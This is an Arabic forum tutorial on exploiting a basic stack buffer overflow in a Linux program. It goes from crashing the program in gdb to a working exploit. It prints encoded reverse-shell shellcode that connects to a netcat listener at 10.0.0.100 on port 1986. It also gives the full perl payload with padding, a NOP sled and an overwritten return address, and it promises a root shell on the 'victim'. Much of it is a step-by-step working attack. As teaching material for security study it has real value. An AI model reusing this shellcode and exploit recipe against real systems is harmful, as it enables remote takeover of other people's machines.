نقاط : 0 تاريخ التسجيل : 01/01/1970
| موضوع: أساسيات ثغرات الفيض Basic Stack Overflow في أنظمة التشغيل Unix & Linux 12/11/2011, 5:17 pm | |
| المقدمة:
- اذا كنت مهتم بمجال امن المعلومات والانظمة فانصحك ان توفر على نفسك الجهد في البحث عن المعلومة لان هذه السلسلة من المواضيع ستجعلك تطبق وترى وتجاوب على هذه الاسئلة : * كيف تستطيع الفيروسات الوصول الى ملايين الاجهزة واختراقها دون اذن احد؟ * كيف يتم اختراق الاجهزة بمجرد الدخول لصفحة موقع او فتح رسالة الكترونية؟ * كيف يتم اختراق الاجهزة فقط بمعرفة رقم IP للتحكم والسيطرة على النظام! * كيف يتم اختراق المواقع وتغيير محتواها؟! - كل هاذا يحدث من خلال ثغرات الانظمة لتستطيع الوصول الى اي مكان في نظام التشغيل ولكن الموضوع ليس بهذه البساطة! - لكي تكون قادر على اكتشاف او استغلال ثغرة يجب ان تكون مطلع على عدة مجالات اهمها: * خبرة في لغة الاسمبلي ومراقبة البرامج {مجال اكتشاف الثغرات} * خبرة في لغة ال ++C,C وكتابة البرامج {لكي تستطيع استغلال الثغرات} * فهم طريقة عمل انظمة التشغيل ومما تتكون {لتحديد مكان الثغرة} * خبرة ولو بسيطة في مجال الشبكات {لانها الطريق للوصول الى الثغرة} * خلفية بسيطة في تصميم المواقع ولغات البرمجة {PHP,CGI,JAVA,ASP....} - البداية في اكتشاف واستغلال الثغرات : ـ لوسالت ... هل يمكن التغيير في ملف تنفيذي وطريقة عمله؟بالتاكيد ستجد الاجابة نعم والامثلة على ذلك البرمجة العكسية والكراك {ملف تنفيذي يستخدم لكسر حماية البرنامج} ـ والان لوسالت هذا السؤال؟! هل يمكن تغيير في طريقة عمل ملف تنفيذي دون التغيير في كود الملف؟؟؟؟؟؟؟؟؟؟!!!! انا متاكد ان يكون جواب كل العقلاء والخبراء والمبرمجون هو لا والف لا {يعني ماتدخل العقل} ولكن ظهر لنا مجنون وقال ممكن ليش لا,وبدا يبحث عن طريقة,هل تصدقون انه وجدها ولكن بشرط وهو حدوث خطاء... اهم شيء تعرفه في هذه المرحلة هو القانون التالي: يمكن التغيير في طريقة عمل ملف تنفيذي دون التغيير في الكود بشرط حدوث خطاء ـ اريد ان اسال عندما نستخدم برنامج ما ويحدث خطاء اين ينتقل التنفيذ؟! هل يخرج البرنامج!ماذا لواستطعنا التحكم في مجرى التنفيذ ووجهناه لنقطة معينة,هل المطلوب التغيير في كود البرنامج... سوف نناقش كل هذه التساؤلات وتغطيتها ان شاء الله في هذه المقالة المتواضعة .
العرض:
الحين سندخل مباشرة في مثال تطبيقي نعتمد فيه على ثغرات الفيض في المكدس او الكومة "Basic Stack Overflow" لينتج لنا صدفة او شيل عكسي بيننا وبين الضحية أولا اليكم كود برنامجنا الضعيف * تنبيه: نصف برنامج ما البضعف بسسب احتوائه على ثغرة او خطأ برمجي يمكننا منالسيطرة على النظام ولانعني بها الضعف في كفائة التشغيل لذا ان وجد هذا المصطلح فنقصد به الضعف البرمجي
ان وظيفة هذا البرنامج هو استقبال عدد معين من البيانات من المستخدم وتخزينها او تخصيص لها جزء من الذاكرة ويتم تخزين تلك البيانات في قسم من الذاكرة يسمى او يرمز له بال 'buffer', وكما نلاحظ من الكود السابق انه تم تخصيص له حجم قدره 1024 بايت اي يمكن للمستخدم تخزين بيانات لا تتعدى ال الحجم السابق الأن ماذا لو ارسل المستخدم بيانات قدرها 1040 بايت طبعا سوف يتم تخزين تلك البيانات في قسم البوفر'buffer' ونحن نعرف انه يستطيع تخزين بيانات لا تتجاوز ال 1024 بايت الحين شو لي راح يحدث لبرنامجنا ..طبعا راح يحدث خطاء للبرنامج او البيانات الزائدة سوف تحدث فيض في المكدس والأن كل شيء تمام ولكن ماذا عن البيانات الفائضة اين تذهب او اين تخزن؟ الأن عندما يحدث فيض فالبيانات الزائدة سوف تكتب في اجزاء الذاكرة وهو ما يسمى بال" overflowwed" الأن دعنا نقوم بترجمة برنامجنا السابق وسوف نناقش كل شيء بالتفصيل gcc -o vuln-prog vuln-prog.c
والان لنجاح الاستغلال نحتاج الى تعطيل ال "the linux VA patch " كالتالي [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
الأن سوف نستخدم أداة مهمة في تنقيح البرامج وهي الاداة DBG وسوف نستعملها لتنقيح برنامجنا السابق ومراقبة المعالج وحالات السجلات عند ارسال بيانات اكبر من 1024 بايت
طريقة الاستخدام gdb ./vuln-prog
ادخال 1040 حرف الى البرنامج من خلال الامر run `perl -e 'print "A"x1040'`
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
الآن كما ترى جهزنا بيانات بحجم 1040بايت تحمل الرمز A القيمة 0x41 تعني القيمة A في النظام السداسي عشر اوكي الحين دعونا نلقي نظرة على اجزاء الذاكرة واحوال السجلات من خلال الامر i r لبرنامج الاختبار gdb
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
هاذا الجزء جد مهم لنلقي نظرة علية
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
طبعا السجل EIP هو من مسجلات دليلية كسجلات {EBP,ESP,ESI,EDI}وهي تعتبر دليل الاقسام مثلا سجل EIP هو دليل لقسم الكود اي ان رقم EIP = السطر الذي ينفذ من قسم الكود الان لو استطعنا تغيير هذا العنوان الى عنوان كود خاص بنا مقيم في الذاكرة يسمح لنا بالسيطرة على النظام! الحين نقول اننا كتبنا سجل EPI بالقيمة 0x41414141 OR AAAA لكن هذا العنوان لا يحتوى على اي رموز كما أن العنوان غير صالح او غير موجود في الذاكرة لذا لا يمكنه الاشارة الى اي منطقة في الذاكرة! لذا يتوجب علينا ان نشير الى مكان او عنوان قطعتنا من الرموز التى يجب تنفيذها ...! الان لتنفيذ قطعة خاصة بنا من الرموز سوف نستعمل مصطلح يسمى بالشيل كود "Shellcode" طبعا قبل ان نتطرق الى موضوع الشيل كود يجب ان نقول شيء واحد او يجب التركيز على شيء مهم وهو انه عندما حدث فيظ في الذاكرة تمت كتابة قيمة السجل EIP بقيمة تنتمي الى البيانات المرسلة الى البرنامج عن طريق المستخدم وهنا يكمن الخطر اذ اننا اصبحنا قادرين على التحكم بعنوان العودة للبرنامج عند حدوث خطاء ما في المعالجة,الان ماذا لو قمنا بتوجيه هذا العنوان الى عنوان يحمل قطعة كود تحتوى على شيل كودلبرنامج تنصت او فايروس موجود في المكدس شو يصير,طبعا لي راح يصير هو تنفيذ الكود الموجود في ذلك العنوان الان بدأنا نقترب الى قلب الموضوع وهو التحكم بعنوان العودة للنظام في تحقيق اهدافنا طيب الان شو نحتاج لنكمل باقي الموضوع والحين سوف نعود الى اخركلمة ذكرناها سابقا وهي الشيل كود طبعا الشيل كود هو قطعة برنامج او كود لبرنامج ما مكتوب عن طريق لغة الالة سواء عن طريق النظام الثنائي او الثماني او سداسى عشر والمشهور الان هو النظام الاخير او السداسي عشر لصغر حجم بيانات الكود مثلا لو كتبنا كود عن طريق نظام السداسي عشر وكان حجمه مثلا 65 بايت سوف يصبح 120بايت مثلا على النظام الثماني و950 بايت في النظام الثنائي طيب القيم غير حقيقية بس لازم تأخذ الفكرة و لا اكثر وهي ان كتابة الشيل عن طريق هذا النظام يكون اقلا حجما واقل تعقيدا في نفس الوقت. طيب هناك العديد يستغربون او يتساءلون لماذا يكون الشيل كود مكتوب بلغة الالة في حين ان كتابة اي كود خاص بنا عن طريق لغات اخرى كالاسمبلى او السي ارحم من سابقتها بكثير وهنا اجاوب كل من مر عليه هاذا السؤال وهو عند حدوث اي خطاء ويأتي دور الكود ليتم تنفيذه من طرف المعالج فلن ينجح التفيذ لان المعالج لايفهم تلك الاوامر ولتنفيذها نلجئ الى مترجمات خاصة كل مترجم خاص بترجمة لغة معينة اما لغة الالة فلا يحتاج المعالج الى مترجم فهو يفهمها وقادر على تنفيذها مباشرة دون تدخل اى مصدر خارجي الان يبدو اننا انهينا من هذا الموضوع المتشعب بس انا اسمع العديد منكم يقولون كيف نصمم هذا الشيل ونحن لا نفقه شيئا حول لغة الالة طبعا كما قلت الموضوع طويل ومتشعب ولابد له من كتاب او مقالة خاصة به تتناول جميع طرق كتابة الشيل على مختلف الانظمة والمعالجات ان شاء الله بس اعلم اخي القارئ ان الشيل كود يتم برمجته بأدوات مساعدة كالمترجمات نفسها ا قصد انه لا يتم كتابة الشيل عن طريق لغة الة مباشرة بل يتم برمجتها عن طريق الاسمبلي وبوجود ادوات مساعدة سو نتمكن من تحويلها الى لغة الالة وطبعا لازم تكون خبير اسمبلي كما ان كل شيل يصمم يتم نشر مصدر الشيل المكتوب بالاسمبلي وهاذا معروف لدى جميع مواقع السيكوريتي كال ****sploit and milworm. اه يبدوا اننا نسينا موضوعنا وخرجنا عنه قليلا ولاكن لابأس فالمعلومات التى قدمتها سوف نصل اليها آجلا ام عاجلا في مقالات قادمة ان شاء الله .... و ألان اين وصلنا,اه كما تعرفون نحن نحتاج الى قطعة شيل كود خاصة بنا بس كما تعرفون نحن الحين غير قادرين على كتابة شيل الخاص بنا لذا سوف نستعين باحدى خدمات ال ****sploit من اجل كتابة شيل كود عكسي يقوم بالاتصال بنا عن طريق منفذ تنصت نحدده بانفسنا,قبل المتابعة سوف نقوم بفتح منفذ تنصت بالجهاز من اجل ان يتصل بنا شيل كود الخاص بنا ليفتح لنا صدفة او شيل بيننا وبين جهاز الضحية بصلاحيات الروت عن طريق أداة النات كات المشهورة وطريقة الاستخدام nc -l -p 1986 -vv
الان أداة النات كات تنصت على منفذ 1986 الذي اخترناه الحين نحتاج الى IP الجهاز الخاص بنا عن طريق الامر التالى : ifconfig | grep inet
والان كما تلاحظون رقم IP جهاز مثلا هو 10.0.0.100 الحين كل شيء تمام وبقي لنا شيء واحد وهو تصميم الشيل كود , قبل الذهاب الى الشيل كود يجب ان نتحقق من
ان منفذ الانصات مفتوح عن طريق الامر التالي : netstat -an |grep 1986
والان كل شيء تمام المنفذ جاهز لاستقبال اي بيانات مرسلى للجهاز, الحين توجه الى هاذا العنوان من اجل تصميم شيل كود
Lets browse to:
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] rse
to generate our shellcode..
Fill in the form:
LHOST Required ADDR = 10.0.0.100 LPORT Required PORT = 1986
and click Generate Payload.. الان عندما تدخل الوصلة قم بملئ عنوان الايبي والبورت في الفراغات المناسبة كما في الكود السابق وضغط على مفتاح تخمين لنتحصل على هاذا الشيل which generates us the following:
/* linux_ia32_reverse - LHOST=10.0.0.100 LPORT=1986 Size=96 Encoder=PexFnstenvSub [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] */
"\x31\xc9\x83\xe9\xee\xd9\xee\xd9\x74\x24\xf4\ x5b\ x81\x73\x13\x5e" "\x10\xdb\x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\ x55\ x0d\x7a\xd9\x7c" "\x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\ x96\ x17\x69\x22\x4d" "\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x98\ x70\ x0d\x99\x3a\xa6" "\x38\x40\x8a\x45\xd7\xf1\x98\xdb\xde\x42\xb3\ x39\ x71\x63\xb3\x7e" "\x71\x72\xb2\x78\xd7\xf3\x89\x45\xd7\xf1\x6b\ x1d\ x93\x90\xdb\x16";
as you can see our shellcode is 96 bytes large. [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
والان هذا الشيل سوف يقوم بالاتصال بهاذا الاي بي 10.0.0.100 على البورت 1986 حيث النات كات تستمع اليه ويقوم بتزويدنا بالشيل عكسي او صدفة بيننا وبين جهاز الضحية والان لايجاد مكان الشيل كود في الذاكرة سوف نسبقه بجزء من البيتات التى لاتؤثر على عمل الكود او لا تغير من خصائصه وبعبارة اخرى يتم تجاهل هذه البيانات من طرف المعالج اثناء تنفيذ الكود ويرمز لها بال NOP OR 0x90 لذا نضع مجموعة من ال NPO قبل الشيل كود وبعد شيل نحدد عنوان EIP لتكون حمولتنا الكلية بهاذا الشكل :
طبعا هذا المظهر العام للحمولة المرسلة التى هي مقسمة حسب الشكل الى اربع اقسام على الترتيب الاولى نعني بها البيانات الضائعة او المهملة ولا نحتاجها ونسنتخدما لاحداث فيض وتملك القيمة A Or 0x41 اما القسم الثاني يحتوى على بيانات ال NOP التى تحدثنا عنها سابقا وسوف نتحدث عن فائدتها بعد قليل وكما تلاحظ ياتي القسم الثالث والذي يحمل لنا بيانات الشيل كود الخاصة بنا اما القسم الاخير فهو مكون من اربع خانات او اربع بيتات ونخصصها لسجل EIP من اجل التحكم بعنوان العودة بسهولة الحين نحتاج الى حساب حجم البيانات المرسلة لكل قسم طيب نحن نعلم اننا استعملنا 1040بايت لطفح EIP مع عنوان العودة 0x41414141 اذن السجل EIP يملك اربع بيتات لنتحصل على التالي : 1040 - 4 = 1036 ونحتاج الى 96 بايت من البيانات المخصصة لشيل كود لنتحصل على : 1036 - 96 = 940 ونحن يمكننا ان نستعمل 940 بايت او البيتات الباقية لبيانات ال NOP وبيانات القمامة , سوف نخصص حجم مقبول لبيانات NOP بحجم 340 بايت لتنحصل على :940 - 340 = 600 والان تبقى 600 بايت من الكود نخصصها لبيانات القمامة . لذا يجب ان يكون شكل حمولتنا على الصورة التالية:
لتصبح الحمولة المرسلة كالتالي [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
بهذه الحمولة سوف نكتب على سجل EIP بهذه القيمة 0x42424242 OR BBBB الحين سوف نقوم بارسال هذه الحمولة من اجل تنقيح برنامجنا [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] لنتحصل على الشكل التالي [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
لان كما ترى اصبح سجل EIP يحمل القيمة 0x42424242 OR BBBB وهي جزء من حمولتنا,ولان نحتاج لاشارة سجل EIP الى حمولة ال Nopsled او NOP بدلا من القيمة 0x42424242 الحين سوف نقوم بتحليل بيانات ذاكرتنا لنبحث عن مكان ال nopsled او قيم NOP بهذا الشكل: x/2000xb $esp [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] قم بالضغط حوالى مرتين حتى تصل الى قيم مشابهة مع الصورة [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] الان اضعط حوالى مرة واحدة او مرتين حتى تصل الى بيانات ال NOP [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] بداية الشيل كود [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
هل فهمت الحين كيف نقوم بتعين مكان بياناتنا على الذاكرة وتحديد عناوين تواجدها الان نحن نعرف ان الشيل كود يبدا بهاذي القيمة \x31 كما اننا نحتاج لكتابة سجل EIP بقيمة تشير الى مكان ما في مجموعتنا من اوامر ال NOP طبعا سوف يتم تنفيذ اوامر ال NOP الى ان يصل الى مكان الشيل كود وعندما يتم تنفيذ الشيل كود سوف يجلب لنا صدفة او شيل عكسي عن طريق البورت 1986 ونقصد بشيل عكسي هو ان جهاز الضحية هو الذي يتصل بنا ولسنا نحن وهذا لتخطي مشاكل الفايرول, الحين قم باختيار عنوان ينتمى الى بيانات ال NOP ولنختر مثلا القيمة 0xbffff638 طبعا تم تعيين العنوان عشوائيا وتستطيع اختيار اي عنوان تشاء بشرط يجب ان تكون تنتمي الى مجموعة بيانات ال NOP's [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] طبعا العناوين المشار اليها سوف نكتبها بشكل العكسيى لتصبح [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] ولا تنسى ان تظعها في حمولتنا على شكل العكسي ايظا ليصبح شكل الحمولة كالتالي [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] والان قم بارفاق الحمولة في ادات DBG وقم بتشغيل البرنامج كالتالي
run `perl -e 'print "A"x600,"\x90"x340,"\x31\xc9\x83\xe9 \xee\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e\x 10\xdb \x16\x83\xeb\xfc\xe2\xf4\x6f\xcb\x88\x55\x0d\x7a\x d9\x7c \x38\x48\x52\xf7\x93\x90\x48\x4f\xee\x2f\x16\x96\x 17\x69 \x22\x4d\x04\x78\xd1\x16\x5e\x89\xbd\x7e\x79\x1f\x 98\x70 \x0d\x99\x3a\xa6\x38\x40\x8a\x45\xd7\xf1\x98\xdb\x de\x42 \xb3\x39\x71\x63\xb3\x7e\x71\x72\xb2\x78\xd7\xf3\x 89\x45 \xd7\xf1\x6b\x1d\x93\x90\xdb\x16","\x38\xf6\xff\xb f"'` [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
والان سوف تسالك الادات بالموافقة على اعادة تنقيح البرنامج من جديد قم بالموافقة ليتم حدوث الفيض ويتم تنفيذ العنوان الذي قمنا باختياره الذي ينتمي الى بيانات ال NOPويتم متابعة التنفيذ الا ان يتم الوصول الى بيانات الشيل كود الحين دعنا نلقي نظرة على ادات النات كات
كما تلاحظ لقد حدث فيظ وتم ربط الجهاز عن طريق صدفة او شيل عكسي بجهاز الضحية وتستطيع من خلاله التحكم والسيطرة على النظام بالاظافة الى صلاحية الروت على الجهاز [ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط]
والآن شارفنا على نهاية المقال واتمنى على انه نال اعجابكم كما ارجوا اني وفقت في اختيار العبارات المصطلحات السهلة والقريبة حرصا على تبسيط المقال من حيث التعقيد ووصول المعلومة سالمة الى القارئ | |
|